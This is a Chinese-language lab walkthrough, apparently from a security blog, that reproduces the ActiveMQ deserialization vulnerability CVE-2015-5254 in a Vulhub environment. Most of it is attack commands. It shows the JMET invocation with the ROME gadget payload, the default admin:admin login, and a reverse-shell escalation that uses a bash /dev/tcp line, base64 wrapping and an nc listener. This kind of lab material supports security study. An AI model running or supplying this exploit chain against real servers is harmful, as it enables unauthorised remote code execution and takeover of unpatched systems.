ActiveMQ 反序列化漏洞(CVE-2015-5254)

Ant大约 2 分钟VulhubactiveMQ反序列化漏洞

ActiveMQ 反序列化漏洞(CVE-2015-5254)

漏洞类型: activeMQ 反序列化漏洞

复现环境: vulhub靶场(activemq/CVE-2015-5254)

使用工具: JMET

漏洞原理: 参考 《理论科普 - 认识反序列化漏洞》

该漏洞源于序列化的Java Message Service(JMS)ObjectMessage对象存在反序列化漏洞,同时程序没有对代理中序列化的类做限制,导致攻击者可以构造恶意的序列化的类进行RCE攻击。

影响范围: Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞。



第一步:启动漏洞环境

进入vulhub靶场的active/CVE-2015-5254目录,执行下述命令启动环境

 sudo docker-compose up -d

环境启动后,在61616监听用户传来的消息,维持一个消息队列;8161是Web管理页面端口。


第二步:使用JMET工具进行漏洞测试

1.下载JMET工具,并在同级目录下创建external文件夹。

2.使用JMET工具构造payload进行漏洞测试

将下列语句中的your-ip改成自己服务器的IP地址后执行下列命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
测试漏洞
测试漏洞

其中ROME为JMET中自带的反序列化漏洞攻击载荷,命令执行后会给activeMQ添加一个名字叫event的队列,管理员点击查看这个消息队列时攻击就会触发——在服务器的/tmp目录下创建一个success文件。

第三步:触发攻击

管理员打开消息队列界面(your-ip改成自己服务器的IP地址

http://your-ip:8161/admin/browse.jsp?JMSDestination=eventopen in new window

管理员帐号:admin 管理员密码:admin

消息队列
消息队列

点击查看新创建的消息时攻击即被触发,查看/tmp目录下已经成功创建success文件,证明存在可被利用的反序列化漏洞。

查看文件
查看文件

第四步:创建反弹shell

将创建success文件的命令改成反弹shell的语句即可实现远程控制。

直接使用bash反弹shell无法成功,需要对其进行base64编码

#bash反弹shell,your-ip和your-port改成自己攻击机的信息
bash -i &> /dev/tcp/your-ip/your-port 0>&1 

修改完your-ip和your-port的信息后,对上面的语句进行base64编码,然后替换掉下面的“YmF****MQ==”部分。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmF****MQ==}|{base64,-d}|{bash,-i}" -Yp ROME your-ip 61616

在自己的攻击机上使用nc执行监听,此处your-port与反弹shell中使用的端口保持一致。

nc -l -p your-port

管理员触发攻击后nc即可连接到服务器进行远程控制。

反弹shell
反弹shell
Loading...